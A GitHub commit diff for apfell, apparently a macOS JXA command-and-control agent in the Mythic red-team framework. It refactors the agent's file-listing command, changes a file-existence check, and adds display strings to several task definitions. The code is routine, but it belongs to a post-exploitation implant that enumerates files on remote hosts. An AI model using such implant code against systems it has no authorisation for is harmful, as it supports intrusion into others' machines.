Skip to content

Commit dcad836

Browse files
committed
updating download, ls, and command display
1 parent 6cd19e4 commit dcad836

18 files changed

Lines changed: 166 additions & 114 deletions

Payload_Type/apfell/apfell/CHANGELOG.MD

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,13 @@
11

2+
## [v0.1.12] - 2026-02-18
3+
4+
### Changed
5+
6+
- Updated a bunch of commands to set DisplayParams to not have JSON blobs
7+
- Updated the core does_file_exist check for downloads to be fileExistsAtPath
8+
- Updated the `ls` command to have a new parameter, `includeAttributes`, that's `false` by default
9+
- This allows you to more selectively fetch attributes and still get some data if you can't read all attribute values
10+
211
## [v0.1.11] - 2026-02-02
312

413
### Changed

Payload_Type/apfell/apfell/agent_code/base/apfell-jxa.js

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,8 +65,7 @@ class baseC2{
6565
C2PROFILE_HERE
6666
//-------------SHARED COMMAND CODE ------------------------
6767
does_file_exist = function(strPath){
68-
var error = $();
69-
return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
68+
return $.NSFileManager.defaultManager.fileExistsAtPath($(strPath).stringByExpandingTildeInPath.stringByStandardizingPath);
7069
};
7170
convert_to_nsdata = function(strData){
7271
// helper function to convert UTF8 strings to NSData objects

Payload_Type/apfell/apfell/agent_code/ls.js

Lines changed: 124 additions & 105 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,12 @@
11
exports.ls = function(task, command, params){
22
ObjC.import('Foundation');
3+
let includeAttributes = false;
34
let output = {};
45
try {
56
let command_params = JSON.parse(params);
7+
if(command_params["includeAttributes"]){
8+
includeAttributes = command_params["includeAttributes"];
9+
}
610
let fileManager = $.NSFileManager.defaultManager;
711
let error = Ref();
812
let path = command_params['path'];
@@ -24,132 +28,147 @@ exports.ls = function(task, command, params){
2428
}
2529
output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
2630
output['update_deleted'] = true;
27-
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
28-
let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
29-
if (attributes !== undefined) {
30-
output['is_file'] = true;
31-
output["success"] = true;
32-
output['files'] = [];
33-
if (attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] === "NSFileTypeDirectory") {
34-
let error = Ref();
35-
output['is_file'] = false;
36-
let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
37-
if (files !== undefined) {
38-
let files_data = [];
39-
output['success'] = true;
40-
let sub_files = files;
41-
if (path[path.length - 1] !== "/") {
42-
path = path + "/";
31+
let attributes = undefined;
32+
let time_attributes = undefined;
33+
let isDirectory = Ref();
34+
let exists = fileManager.fileExistsAtPathIsDirectory($(path), isDirectory);
35+
if (exists) {
36+
output['is_file'] = !isDirectory[0];
37+
} else {
38+
return {
39+
"user_output": path + " does not exist or is not accessible in the current context",
40+
"completed": true,
41+
"status": "error"
42+
};
43+
}
44+
if(includeAttributes){
45+
attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
46+
time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
47+
}
48+
output["success"] = true;
49+
output['files'] = [];
50+
if (isDirectory[0]) {
51+
let error = Ref();
52+
let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
53+
if (files !== undefined) {
54+
let files_data = [];
55+
output['success'] = true;
56+
let sub_files = files;
57+
if (path[path.length - 1] !== "/") {
58+
path = path + "/";
59+
}
60+
for (let i = 0; i < sub_files.length; i++) {
61+
let attr = undefined;
62+
let time_attr = undefined;
63+
if (includeAttributes) {
64+
attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
65+
time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
4366
}
44-
for (let i = 0; i < sub_files.length; i++) {
45-
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
46-
let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
47-
let file_add = {};
48-
file_add['name'] = sub_files[i];
67+
let file_add = {};
68+
file_add['name'] = sub_files[i];
69+
if (includeAttributes) {
4970
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $()));
50-
if(plistPerms !== undefined && plistPerms['NSFileExtendedAttributes'] !== undefined){
71+
if (plistPerms !== undefined && plistPerms['NSFileExtendedAttributes'] !== undefined) {
5172
let extended = {};
5273
let perms = plistPerms['NSFileExtendedAttributes'].js;
53-
for(let j in perms){
74+
for (let j in perms) {
5475
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
5576
}
5677
file_add['permissions'] = extended;
57-
}else{
78+
} else {
5879
file_add['permissions'] = {};
5980
}
60-
if(attr !== undefined){
61-
file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
62-
file_add['size'] = attr['NSFileSize'];
63-
let nsposix = attr['NSFilePosixPermissions'];
64-
// we need to fix this mess to actually be real permission bits that make sense
65-
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
66-
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
67-
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
68-
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
69-
file_add['permissions']['create_time'] = Math.floor(Math.trunc(time_attr['NSFileCreationDate']?.timeIntervalSince1970 * 1000 || 0));
70-
if(file_add['permissions']['create_time'] < 0){
71-
file_add['permissions']['create_time'] = 0;
72-
}
73-
file_add['modify_time'] = Math.floor(Math.trunc(time_attr['NSFileModificationDate']?.timeIntervalSince1970 * 1000 || 0));
74-
if(file_add['modify_time'] < 0){
75-
file_add['modify_time'] = 0;
76-
}
77-
file_add['access_time'] = 0;
78-
} else {
79-
81+
} else {
82+
file_add['permissions'] = {};
83+
}
84+
let exists = fileManager.fileExistsAtPathIsDirectory($(path + sub_files[i]), isDirectory);
85+
if (exists) {
86+
file_add['is_file'] = !isDirectory[0];
87+
}
88+
file_add['size'] = 0;
89+
if (attr !== undefined) {
90+
file_add['size'] = attr['NSFileSize'];
91+
let nsposix = attr['NSFilePosixPermissions'];
92+
// we need to fix this mess to actually be real permission bits that make sense
93+
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
94+
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
95+
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
96+
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
97+
file_add['permissions']['create_time'] = Math.floor(Math.trunc(time_attr['NSFileCreationDate']?.timeIntervalSince1970 * 1000 || 0));
98+
if (file_add['permissions']['create_time'] < 0) {
99+
file_add['permissions']['create_time'] = 0;
80100
}
81-
files_data.push(file_add);
101+
file_add['modify_time'] = Math.floor(Math.trunc(time_attr['NSFileModificationDate']?.timeIntervalSince1970 * 1000 || 0));
102+
if (file_add['modify_time'] < 0) {
103+
file_add['modify_time'] = 0;
104+
}
105+
file_add['access_time'] = 0;
106+
} else {
107+
82108
}
83-
output['files'] = files_data;
84-
}
85-
else{
86-
output['success'] = false;
109+
files_data.push(file_add);
87110
}
111+
output['files'] = files_data;
112+
} else {
113+
output['success'] = false;
88114
}
89-
let nsposix = attributes['NSFilePosixPermissions'];
90-
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
91-
if( components.length > 0 && components[0] === "Macintosh HD"){
92-
components.pop();
93-
}
94-
// say components = "etc, krb5.keytab"
95-
// check all components to see if they're symlinks
96-
let parent_path = "/";
97-
for(let p = 0; p < components.length; p++){
98-
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
99-
if(resolvedSymLink){
100-
parent_path = parent_path + resolvedSymLink + "/";
101-
}else{
102-
parent_path = parent_path + components[p] + "/";
103-
}
104-
}
105-
output['name'] = fileManager.displayNameAtPath(parent_path).js;
106-
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));
107-
108-
if(output['name'] === "Macintosh HD"){output['name'] = "/";}
109-
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
110-
if(command_params['path'] === "/dev"){
111-
// /dev is apparently a special case for some reason and doesn't follow the normal fileManager.componentsToDisplayForPath
112-
output["name"] = "dev";
113-
output["parent_path"] = "/";
114-
}
115-
output['size'] = attributes['NSFileSize'];
116-
output['access_time'] = 0;
117-
output['modify_time'] = Math.floor(Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000));
118-
if(output["modify_time"] < 0){
119-
output["modify_time"] = 0;
120-
}
121-
if(attributes['NSFileExtendedAttributes'] !== undefined){
122-
let extended = {};
123-
let perms = attributes['NSFileExtendedAttributes'].js;
124-
for(let j in perms){
125-
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
126-
}
127-
output['permissions'] = extended;
115+
}
116+
let nsposix = attributes ? attributes['NSFilePosixPermissions'] : "";
117+
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
118+
if( components.length > 0 && components[0] === "Macintosh HD"){
119+
components.pop();
120+
}
121+
// say components = "etc, krb5.keytab"
122+
// check all components to see if they're symlinks
123+
let parent_path = "/";
124+
for(let p = 0; p < components.length; p++){
125+
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
126+
if(resolvedSymLink){
127+
parent_path = parent_path + resolvedSymLink + "/";
128128
}else{
129-
output['permissions'] = {};
129+
parent_path = parent_path + components[p] + "/";
130130
}
131-
output['permissions']['create_time'] = Math.floor(Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000));
132-
if(output['permissions']['create_time'] < 0){
133-
output['permissions']['create_time'] = 0;
131+
}
132+
output['name'] = fileManager.displayNameAtPath(parent_path).js;
133+
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));
134+
if(output['name'] === "Macintosh HD"){output['name'] = "/";}
135+
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
136+
if(command_params['path'] === "/dev"){
137+
// /dev is apparently a special case for some reason and doesn't follow the normal fileManager.componentsToDisplayForPath
138+
output["name"] = "dev";
139+
output["parent_path"] = "/";
140+
}
141+
output['size'] = attributes ? attributes['NSFileSize'] : 0;
142+
output['access_time'] = 0;
143+
output['modify_time'] = time_attributes ? Math.floor(Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000)): 0;
144+
if(output["modify_time"] < 0){
145+
output["modify_time"] = 0;
146+
}
147+
if(attributes && attributes['NSFileExtendedAttributes'] !== undefined){
148+
let extended = {};
149+
let perms = attributes['NSFileExtendedAttributes'].js;
150+
for(let j in perms){
151+
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
134152
}
135-
output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
153+
output['permissions'] = extended;
154+
}else{
155+
output['permissions'] = {};
156+
}
157+
output['permissions']['create_time'] = time_attributes ? Math.floor(Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000)): 0;
158+
if(output['permissions']['create_time'] < 0){
159+
output['permissions']['create_time'] = 0;
160+
}
161+
if(includeAttributes) {
162+
output['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
136163
output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
137164
output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
138165
output['permissions']['hidden'] = attributes['NSFileExtensionHidden'] === true;
139-
if(command_params['file_browser']){
140-
return {"file_browser": output, "completed": true, "user_output": "added data to file browser"};
141-
}else{
142-
return {"file_browser": output, "completed": true, "user_output": JSON.stringify(output, null, 6)};
143-
}
144166
}
145-
else{
146-
return {
147-
"user_output": "Failed to get attributes of file. File doesn't exist or you don't have permission to read it",
148-
"completed": true,
149-
"status": "error"
150-
};
167+
if(command_params['file_browser']){
168+
return {"file_browser": output, "completed": true, "user_output": "added data to file browser"};
169+
}else{
170+
return {"file_browser": output, "completed": true, "user_output": JSON.stringify(output, null, 6)};
151171
}
152-
153172
}catch(error){
154173
return {
155174
"user_output": "Error: " + error.toString(),

Payload_Type/apfell/apfell/agent_functions/builder.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
from mythic_container.MythicRPC import *
66
import json
77

8-
version = "0.1.11"
8+
version = "0.1.12"
99

1010

1111
class Apfell(PayloadType):

Payload_Type/apfell/apfell/agent_functions/cat.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,7 @@ async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllDa
4646
ArtifactMessage=f"$.NSString.stringWithContentsOfFileEncodingError",
4747
BaseArtifactType="API"
4848
))
49+
response.DisplayParams = f"-path \"{taskData.args.get_arg('path')}\""
4950
return response
5051

5152
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

Payload_Type/apfell/apfell/agent_functions/cd.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllDa
4545
ArtifactMessage=f"fileManager.changeCurrentDirectoryPath",
4646
BaseArtifactType="API"
4747
))
48+
response.DisplayParams = f"-path \"{taskData.args.get_arg('path')}\""
4849
return response
4950

5051
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

Payload_Type/apfell/apfell/agent_functions/code_signatures.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllDa
4343
TaskID=taskData.Task.ID,
4444
Success=True,
4545
)
46-
response.DisplayParams = " for " + taskData.args.get_arg("path")
46+
response.DisplayParams = f"-path \"{taskData.args.get_arg('path')}\""
4747
return response
4848

4949
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

Payload_Type/apfell/apfell/agent_functions/current_user.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllDa
5555
ArtifactMessage=f"NSUserName, NSFullUserName, NSHomeDirectory",
5656
BaseArtifactType="API"
5757
))
58-
58+
response.DisplayParams = f"-method {taskData.args.get_arg('method')}"
5959
return response
6060

6161
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

Payload_Type/apfell/apfell/agent_functions/jscript.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
4141
TaskID=taskData.Task.ID,
4242
Success=True,
4343
)
44+
response.DisplayParams = f"-command \"{taskData.args.get_arg('command')}\""
4445
return response
4546

4647
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

Payload_Type/apfell/apfell/agent_functions/jsimport_call.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
4141
TaskID=taskData.Task.ID,
4242
Success=True,
4343
)
44+
response.DisplayParams = f"-command \"{taskData.args.get_arg('command')}\""
4445
return response
4546

4647
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

0 commit comments

Comments
 (0)